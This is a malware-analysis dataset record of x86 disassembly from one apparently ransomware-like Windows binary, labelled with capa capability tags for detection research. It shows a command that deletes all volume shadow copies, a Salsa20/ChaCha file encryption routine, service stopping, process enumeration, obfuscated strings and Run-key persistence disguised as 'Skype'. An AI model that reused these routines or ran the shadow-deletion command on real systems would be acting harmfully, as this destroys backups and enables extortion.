joyce8/EMBER2024-capa huggingface dataset:
Function at 0x415fe0
Capabilities:
Delete volume shadow copies
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x4d1a04]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, 1
call fcn.00483bc7
cmp dword [eax], esi
jbe 0x416172
push ebx
push edi
call fcn.00483bcd
lea edi, [esi*4]
mov eax, dword [eax]
mov eax, dword [edi + eax]
cmp byte [eax], 0x2d
jne 0x416162
call fcn.00483bc7
lea ebx, [esi + 1]
cmp dword [eax], ebx
jbe 0x4160d7
call fcn.00483bcd
mov eax, dword [eax]
mov eax, dword [edi + eax + 4]
cmp byte [eax], 0x2d
je 0x4160d7
call fcn.00483bcd
xorps xmm0, xmm0
mov eax, dword [eax]
mov edx, dword [edi + eax]
mov ecx, edx
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416067
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x1c]
call fcn.0040a580
lea eax, [ebp - 0x1c]
mov ecx, 0x4d66f4
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.0040afa0
mov esi, dword [eax]
call fcn.00483bcd
mov eax, dword [eax]
mov eax, dword [eax + edi + 4]
mov dword [esi + 0x20], eax
mov ecx, dword [ebp - 8]
cmp ecx, 0x10
jb 0x4160d0
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4160c6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4161e7
push ecx
push edx
call fcn.0047155d
add esp, 8
mov esi, ebx
jmp 0x416162
call fcn.00483bcd
xorps xmm0, xmm0
mov eax, dword [eax]
mov edx, dword [edi + eax]
mov eax, edx
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
lea edi, [eax + 1]
nop dword [eax + eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x416100
sub eax, edi
lea ecx, [ebp - 0x1c]
push eax
push edx
call fcn.0040a580
lea eax, [ebp - 0x1c]
mov ecx, 0x4d66f4
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.0040afa0
mov eax, dword [eax]
mov dword [eax + 0x20], 0x4ab4fe
mov ecx, dword [ebp - 8]
cmp ecx, 0x10
jb 0x416162
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x416158
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4161e7
push ecx
push edx
call fcn.0047155d
add esp, 8
inc esi
call fcn.00483bc7
cmp esi, dword [eax]
jb 0x416005
pop edi
pop ebx
push str.C:WindowsSysNative_vssadmin.exe_delete_shadows__all__quiet
call fcn.00483cee
add esp, 4
call fcn.004102d0
cmp byte [0x4d668a], 0
pop esi
jne 0x4161d5
lea eax, [ebp - 0x20]
mov dword [ebp - 0x28], 0
push eax
push 0x20006
push 0
push str.SYSTEMCurrentControlSetControlTerminal_Server
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4161d5
push 4
lea eax, [ebp - 0x28]
push eax
push 4
push 0
push str.fDenyTSConnections
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.004717ca
mov esp, ebp
pop ebp
ret 0x10
call fcn.0047cebf
int3
Function at 0x418100
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
mov dword [edi], 0x61707865
mov dword [edi + 4], 0x3320646e
mov dword [edi + 8], 0x79622d32
mov dword [edi + 0xc], 0x6b206574
movzx edx, byte [esi + 3]
movzx eax, byte [esi + 2]
shl edx, 8
or edx, eax
movzx eax, byte [esi + 1]
shl edx, 8
or edx, eax
movzx eax, byte [esi]
shl edx, 8
or edx, eax
mov dword [edi + 0x10], edx
movzx ecx, byte [esi + 7]
movzx eax, byte [esi + 6]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 4]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x14], ecx
movzx ecx, byte [esi + 0xb]
movzx eax, byte [esi + 0xa]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 9]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 8]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x18], ecx
movzx ecx, byte [esi + 0xf]
movzx eax, byte [esi + 0xe]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0xd]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0xc]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x1c], ecx
movzx ecx, byte [esi + 0x13]
movzx eax, byte [esi + 0x12]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x11]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x10]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x20], ecx
movzx ecx, byte [esi + 0x17]
movzx eax, byte [esi + 0x16]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x15]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x14]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x24], ecx
movzx ecx, byte [esi + 0x1b]
movzx eax, byte [esi + 0x1a]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x19]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x18]
mov edx, dword [ebp + 0xc]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x28], ecx
movzx ecx, byte [esi + 0x1f]
movzx eax, byte [esi + 0x1e]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x1d]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x1c]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x30], 0
mov dword [edi + 0x2c], ecx
mov dword [edi + 0x34], 0
movzx ecx, byte [edx + 3]
movzx eax, byte [edx + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x38], ecx
movzx ecx, byte [edx + 7]
movzx eax, byte [edx + 6]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 4]
shl ecx, 8
or ecx, eax
mov eax, edi
mov dword [edi + 0x3c], ecx
pop edi
pop esi
pop ebp
ret 8
Function at 0x418910
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a3265
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x4d1a04]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], esi
xorps xmm0, xmm0
mov dword [ebp - 0x34], esi
push 0x40
lea ecx, [ebp - 0x28]
movups xmmword [ebp - 0x28], xmm0
call fcn.004121b0
movups xmm0, xmmword [str.BufferedTransformation:_this_object_doesnt_allow_input]
mov edi, eax
mov dword [ebp - 0x18], 0x37
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x14], 0x3f
movups xmmword [edi], xmm0
movups xmm0, xmmword [0x4aca70]
movups xmmword [edi + 0x10], xmm0
movups xmm0, xmmword [0x4aca80]
movups xmmword [edi + 0x20], xmm0
mov eax, dword [0x4aca90]
mov dword [edi + 0x30], eax
mov ax, word [0x4aca94]
mov word [edi + 0x34], ax
mov al, byte [0x4aca96]
mov byte [edi + 0x36], al
mov byte [edi + 0x37], 0
xorps xmm0, xmm0
mov dword [ebp - 4], 0
movq qword [esi + 4], xmm0
mov dword [esi], vtable.CryptoPP::Exception.0
lea ecx, [esi + 0x10]
mov dword [esi + 0xc], 0
movups xmmword [esi + 0x10], xmm0
push 0x40
mov byte [ebp - 4], 1
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0xf
call fcn.004121b0
mov dword [esi + 0x10], eax
mov dword [esi + 0x20], 0x37
mov dword [esi + 0x24], 0x3f
movups xmm0, xmmword [edi]
push 0x40
push edi
movups xmmword [eax], xmm0
movups xmm0, xmmword [edi + 0x10]
movups xmmword [eax + 0x10], xmm0
movups xmm0, xmmword [edi + 0x20]
movups xmmword [eax + 0x20], xmm0
movq xmm0, qword [edi + 0x30]
movq qword [eax + 0x30], xmm0
mov dword [esi], vtable.CryptoPP::NotImplemented.0
call fcn.0047155d
add esp, 8
mov dword [esi], vtable.CryptoPP::InputRejecting_class_CryptoPP::BufferedTransformation_::InputRejected.0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004717ca
mov esp, ebp
pop ebp
ret
Function at 0x418ae0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a3265
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x4d1a04]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], esi
xorps xmm0, xmm0
mov dword [ebp - 0x34], esi
push 0x40
lea ecx, [ebp - 0x28]
movups xmmword [ebp - 0x28], xmm0
call fcn.004121b0
movups xmm0, xmmword [str.BufferedTransformation:_this_object_doesnt_allow_input]
mov edi, eax
mov dword [ebp - 0x18], 0x37
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x14], 0x3f
movups xmmword [edi], xmm0
movups xmm0, xmmword [0x4aca70]
movups xmmword [edi + 0x10], xmm0
movups xmm0, xmmword [0x4aca80]
movups xmmword [edi + 0x20], xmm0
mov eax, dword [0x4aca90]
mov dword [edi + 0x30], eax
mov ax, word [0x4aca94]
mov word [edi + 0x34], ax
mov al, byte [0x4aca96]
mov byte [edi + 0x36], al
mov byte [edi + 0x37], 0
xorps xmm0, xmm0
mov dword [ebp - 4], 0
movq qword [esi + 4], xmm0
mov dword [esi], vtable.CryptoPP::Exception.0
lea ecx, [esi + 0x10]
mov dword [esi + 0xc], 0
movups xmmword [esi + 0x10], xmm0
push 0x40
mov byte [ebp - 4], 1
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0xf
call fcn.004121b0
mov dword [esi + 0x10], eax
mov dword [esi + 0x20], 0x37
mov dword [esi + 0x24], 0x3f
movups xmm0, xmmword [edi]
push 0x40
push edi
movups xmmword [eax], xmm0
movups xmm0, xmmword [edi + 0x10]
movups xmmword [eax + 0x10], xmm0
movups xmm0, xmmword [edi + 0x20]
movups xmmword [eax + 0x20], xmm0
movq xmm0, qword [edi + 0x30]
movq qword [eax + 0x30], xmm0
mov dword [esi], vtable.CryptoPP::NotImplemented.0
call fcn.0047155d
add esp, 8
mov dword [esi], vtable.CryptoPP::InputRejecting_class_CryptoPP::Filter_::InputRejected.0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004717ca
mov esp, ebp
pop ebp
ret
Function at 0x41d350
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov eax, dword [0x4d1a04]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
xorps xmm0, xmm0
mov ecx, dword [ebp + 0x18]
push ebx
mov ebx, dword [ebp + 8]
mov eax, dword [edx]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0x24]
mov dword [ebp - 0x64], eax
mov eax, dword [edx + 4]
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x54], ebx
push eax
push esi
push ecx
push ebx
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x48], ecx
movlpd qword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x4c], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp dword [ebp - 0x4c], esi
jne 0x41d4b8
cmp eax, dword [ebp + 0x14]
jne 0x41d4b8
mov ecx, dword [ebp - 0x48]
xor ebx, ebx
test esi, esi
je 0x41d43a
nop dword [eax]
mov eax, dword [edi + 0x80]
cmp eax, 0x40
jb 0x41d428
lea eax, [ebp - 0x44]
mov ecx, edi
push eax
call fcn.0041ff80
xor esi, esi
lea eax, [edi + 0x41]
nop dword [eax + eax]
mov edx, dword [ebp + esi*4 - 0x44]
lea eax, [eax + 4]
mov ecx, edx
mov byte [eax - 5], dl
shr ecx, 8
inc esi
mov byte [eax - 4], cl
mov ecx, edx
shr ecx, 0x10
shr edx, 0x18
mov byte [eax - 3], cl
mov byte [eax - 2], dl
cmp esi, 0x10
jb 0x41d3f0
mov esi, dword [ebp + 0x10]
xor eax, eax
mov ecx, dword [ebp - 0x48]
mov dword [edi + 0x80], 0
mov al, byte [eax + edi + 0x40]
xor byte [ebx + ecx], al
inc ebx
inc dword [edi + 0x80]
cmp ebx, esi
jb 0x41d3d0
mov edi, dword [ebp - 0x54]
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x4c]
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push ecx
push edi
call esi
mov eax, dword [ebp - 0x50]
xorps xmm0, xmm0
mov ecx, dword [ebp + 0x10]
movlpd qword [ebp - 0x80], xmm0
mov dword [ebp - 0x70], 0
add ecx, dword [eax]
mov eax, dword [eax + 4]
adc eax, dword [ebp + 0x14]
mov dword [ebp - 0x58], ecx
mov ecx, dword [ebp + 0x1c]
mov dword [ebp - 0x54], eax
add ecx, 0x125
mov eax, dword [ebp + 0x20]
adc eax, 0
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x50]
mov dword [ebp - 0x50], 0
push eax
push 8
lea eax, [ebp - 0x58]
push eax
push edi
call esi
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004717ca
mov esp, ebp
pop ebp
ret 0x20
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004717ca
mov esp, ebp
pop ebp
ret 0x20

Function at 0x41ee80
Capabilities:
Create thread

Disassembly:
push esi
push 0
push 0
mov esi, ecx
push esi
push 0x41f330
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x170], eax
pop esi
ret
Function at 0x420dc0
Capabilities:
Contain obfuscated stackstrings
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1044
call fcn.00471c80
mov eax, dword [0x4d1a04]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x1040]
push edi
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
call sub.KERNEL32.dll_K32EnumProcesses
mov ebx, dword [ebp - 0x1040]
mov al, 0x51
shr ebx, 2
xor ecx, ecx
mov dword [ebp - 0x1038], 0x30051
mov dword [ebp - 0x1034], 0x320034
mov dword [ebp - 0x1030], 0x380034
mov dword [ebp - 0x102c], 0x340027
mov dword [ebp - 0x1028], 0x710035
mov dword [ebp - 0x1024], 0x380074
mov dword [ebp - 0x1020], 0x210071
mov dword [ebp - 0x101c], 0x3e0023
mov dword [ebp - 0x1018], 0x340032
mov dword [ebp - 0x1014], 0x220022
mov dword [ebp - 0x1010], 0x220034
mov dword [ebp - 0x100c], 0x5b
nop word [eax + eax]
cbw
xor word [ebp + ecx*2 - 0x1036], ax
inc ecx
cmp ecx, 0x16
jae 0x420e98
mov al, byte [ebp - 0x1038]
jmp 0x420e80
xor eax, eax
mov word [ebp - 0x100a], ax
lea eax, [ebp - 0x1036]
push ebx
push eax
call fcn.00421530
add esp, 8
xor edi, edi
test ebx, ebx
je 0x420fdc
nop dword [eax + eax]
push dword [ebp + edi*4 - 0x1004]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x1044], eax
test eax, eax
je 0x420f05
mov ecx, dword [esi + 4]
cmp ecx, dword [esi + 8]
je 0x420ef1
mov dword [ecx], eax
add dword [esi + 4], 4
jmp 0x420fd3
lea eax, [ebp - 0x1044]
push eax
push ecx
mov ecx, esi
call fcn.0040a790
jmp 0x420fd3
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov dword [ebp - 0x103c], 0x340077
xor eax, eax
mov dword [ebp - 0x1038], 0x190016
mov cl, 0x77
mov dword [ebp - 0x1034], 0x180019
mov dword [ebp - 0x1030], 0x570003
mov dword [ebp - 0x102c], 0x140016
mov dword [ebp - 0x1028], 0x120014
mov dword [ebp - 0x1024], 0x40004
mov dword [ebp - 0x1020], 0x70057
mov dword [ebp - 0x101c], 0x180005
mov dword [ebp - 0x1018], 0x120014
mov dword [ebp - 0x1014], 0x40004
mov dword [ebp - 0x1010], 0x520057
mov dword [ebp - 0x100c], 0x7d001e
mov word [ebp - 0x1008], ax
nop word [eax + eax]
movsx cx, cl
xor word [ebp + eax*2 - 0x103a], cx
inc eax
cmp eax, 0x19
jae 0x420fba
mov cl, byte [ebp - 0x103c]
jmp 0x420fa0
xor eax, eax
mov word [ebp - 0x1008], ax
lea eax, [ebp - 0x103a]
push edx
push eax
call fcn.00421530
add esp, 8
inc edi
cmp edi, ebx
jb 0x420ec0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004717ca
mov esp, ebp
pop ebp
ret
Function at 0x422440
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a4a90
mov eax, dword fs:[0]
push eax
mov eax, 0x2434
call fcn.00471c80
mov eax, dword [0x4d1a04]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
push 0xf003f
push 0
push 0
mov dword [ebp - 0x243c], eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
mov dword [ebp - 0x2440], esi
test esi, esi
je 0x42266b
mov edi, dword [sym.imp.ADVAPI32.dll_EnumServicesStatusW]
lea eax, [ebp - 0x242c]
push 0
push eax
lea eax, [ebp - 0x2434]
push eax
push 0
push 0
push 1
push 0x30
push esi
call edi
mov dword [ebp - 0x2438], 0
nop dword [eax]
nop dword [eax + eax]
lea eax, [ebp - 0x2438]
push eax
lea eax, [ebp - 0x242c]
push eax
lea eax, [ebp - 0x2434]
push eax
push 0x2400
lea eax, [ebp - 0x2410]
push eax
push 1
push 0x30
push esi
call edi
test eax, eax
jne 0x42250d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x422664
xor edi, edi
cmp dword [ebp - 0x242c], edi
jbe 0x422650
lea eax, [ebp - 0x2410]
mov dword [ebp - 0x2430], eax
push dword [eax]
call dword [sym.imp.USER32.dll_CharLowerW]
mov esi, eax
push 0x4ab6d4
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x42262e
push esi
call fcn.00422690
add esp, 4
test al, al
jne 0x42262e
mov eax, esi
mov dword [ebp - 0x2418], 0
xorps xmm0, xmm0
mov dword [ebp - 0x2414], 0
movups xmmword [ebp - 0x2428], xmm0
lea edx, [eax + 2]
nop dword [eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x422580
sub eax, edx
lea ecx, [ebp - 0x2428]
sar eax, 1
push eax
push esi
call fcn.0040a620
mov esi, dword [ebp - 0x243c]
mov dword [ebp - 4], 0
mov eax, dword [esi + 4]
cmp eax, dword [esi + 8]
je 0x4225dc
movups xmm0, xmmword [ebp - 0x2428]
mov ecx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x2418]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [esi + 4], 0x18
mov word [ebp - 0x2428], ax
jmp 0x4225f1
lea ecx, [ebp - 0x2428]
push ecx
push eax
mov ecx, esi
call fcn.00416230
mov ecx, dword [ebp - 0x2414]
mov dword [ebp - 4], 0xffffffff
cmp ecx, 8
jb 0x42262e
mov edx, dword [ebp - 0x2428]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x422624
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422686
push ecx
push edx
call fcn.0047155d
add esp, 8
mov eax, dword [ebp - 0x2430]
inc edi
add eax, 0x24
mov dword [ebp - 0x2430], eax
cmp edi, dword [ebp - 0x242c]
jb 0x422527
mov esi, dword [ebp - 0x2440]
cmp dword [ebp - 0x2434], 0
jbe 0x422664
mov edi, dword [sym.imp.ADVAPI32.dll_EnumServicesStatusW]
jmp 0x4224d0
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004717ca
mov esp, ebp
pop ebp
ret
call fcn.0047cebf
int3
Function at 0x422740
Capabilities:
Check for time delay via gettickcount
Enumerate services
Modify service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [0x4d1a04]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 0x3c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, dword [sym.imp.ADVAPI32.dll_EnumDependentServicesW]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2c]
push eax
push 0
push 0
push 1
push esi
call edi
test eax, eax
jne 0x4228ea
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x422902
push dword [ebp - 0x2c]
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
mov dword [ebp - 0x44], ebx
test ebx, ebx
je 0x422902
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x2c]
push ebx
push 1
push esi
call edi
test eax, eax
je 0x422902
cmp dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
jbe 0x4228ea
mov eax, ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov dword [ebp - 0x38], eax
nop dword [eax]
movups xmm1, xmmword [eax]
movups xmm0, xmmword [eax + 0x10]
movd edi, xmm1
movups xmmword [ebp - 0x58], xmm0
push edi
call dword [sym.imp.USER32.dll_CharLowerW]
mov esi, eax
push 0x4ab6d4
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4228d1
push esi
call fcn.00422690
add esp, 4
test al, al
jne 0x4228d1
push 0x26
push edi
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 4
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test esi, esi
je 0x422902
lea eax, [ebp - 0x28]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x422902
cmp dword [ebp - 0x24], 1
je 0x4228bf
nop dword [eax]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x2c]
push eax
push 0x24
lea eax, [ebp - 0x28]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x422902
cmp dword [ebp - 0x24], 1
je 0x4228bf
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x40]
cmp eax, 0x3a98
ja 0x422902
push esi
call ebx
cmp dword [ebp - 0x24], 1
jne 0x422880
push dword [ebp - 0x44]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
inc ecx
add eax, 0x24
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], eax
cmp ecx, dword [ebp - 0x30]
jb 0x4227f0
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004717ca
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004717ca
mov esp, ebp
pop ebp
ret 8
Function at 0x424690
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
mov eax, dword [0x4d1a04]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x225]
push ecx
lea ecx, [ebp - 0x20c]
lea eax, [ecx + eax*2]
push eax
mov eax, ecx
lea ecx, [ebp - 0x224]
push eax
call fcn.0040a200
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x22c], 0
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x424733
mov eax, dword [ebp - 0x214]
lea ecx, [ebp - 0x224]
cmp dword [ebp - 0x210], 8
cmovae ecx, dword [ebp - 0x224]
lea eax, [eax*2 + 2]
push eax
push ecx
push 1
push 0
push str.Skype
push dword [ebp - 0x22c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x210]
cmp ecx, 8
jb 0x42476f
mov edx, dword [ebp - 0x224]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x424765
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42477d
push ecx
push edx
call fcn.0047155d
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004717ca
mov esp, ebp
pop ebp
ret
call fcn.0047cebf
int3

Function at 0x427da0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 8]
push ebx
push ebp
push esi
xor ebx, ebx
push edi
mov edi, dword [esp + 0x14]
cmp eax, 4
jb 0x427dd4
mov esi, eax
shr esi, 2
nop dword [eax]
mov ecx, dword [edi]
sub eax, 4
xor ecx, dword [edx]
add edi, 4
or ebx, ecx
add edx, 4
sub esi, 1
jne 0x427dc0
mov esi, ebx
mov ecx, ebx
shr esi, 8
xor ebp, ebp
or esi, ebx
shr ecx, 0x10
and esi, 0xff00
or esi, ecx
movzx ecx, bl
shr esi, 8
or esi, ecx
test eax, eax
je 0x427eb4
mov ebx, edi
sub ebx, edx
cmp eax, 8
jb 0x427e93
mov ecx, eax
xorps xmm4, xmm4
and ecx, 0xfffffff8
xorps xmm3, xmm3
mov dword [esp + 0x1c], ecx
lea ecx, [edx + 4]
nop dword [eax]
movd xmm2, dword [edi + ebp]
lea ecx, [ecx + 8]
movd xmm1, dword [ecx - 0xc]
xorps xmm0, xmm0
punpcklbw xmm2, xmm0
add ebp, 8
punpcklbw xmm1, xmm0
punpcklwd xmm2, xmm0
punpcklwd xmm1, xmm0
xorps xmm2, xmm1
movd xmm1, dword [ecx - 8]
orps xmm4, xmm2
movd xmm2, dword [ebx + ecx - 8]
punpcklbw xmm2, xmm0
punpcklbw xmm1, xmm0
punpcklwd xmm2, xmm0
punpcklwd xmm1, xmm0
xorps xmm2, xmm1
orps xmm3, xmm2
cmp ebp, dword [esp + 0x1c]
jb 0x427e20
orps xmm3, xmm4
movaps xmm0, xmm3
psrldq xmm0, 8
orps xmm3, xmm0
movups xmm0, xmm3
psrldq xmm0, 4
orps xmm3, xmm0
movd ecx, xmm3
or esi, ecx
cmp ebp, eax
jae 0x427eb4
lea edi, [edx + ebp]
sub eax, ebp
nop dword [eax + eax]
movzx edx, byte [ebx + edi]
lea edi, [edi + 1]
movzx ecx, byte [edi - 1]
xor edx, ecx
or esi, edx
sub eax, 1
jne 0x427ea0
pop edi
test esi, esi
pop esi
pop ebp
sete al
pop ebx
ret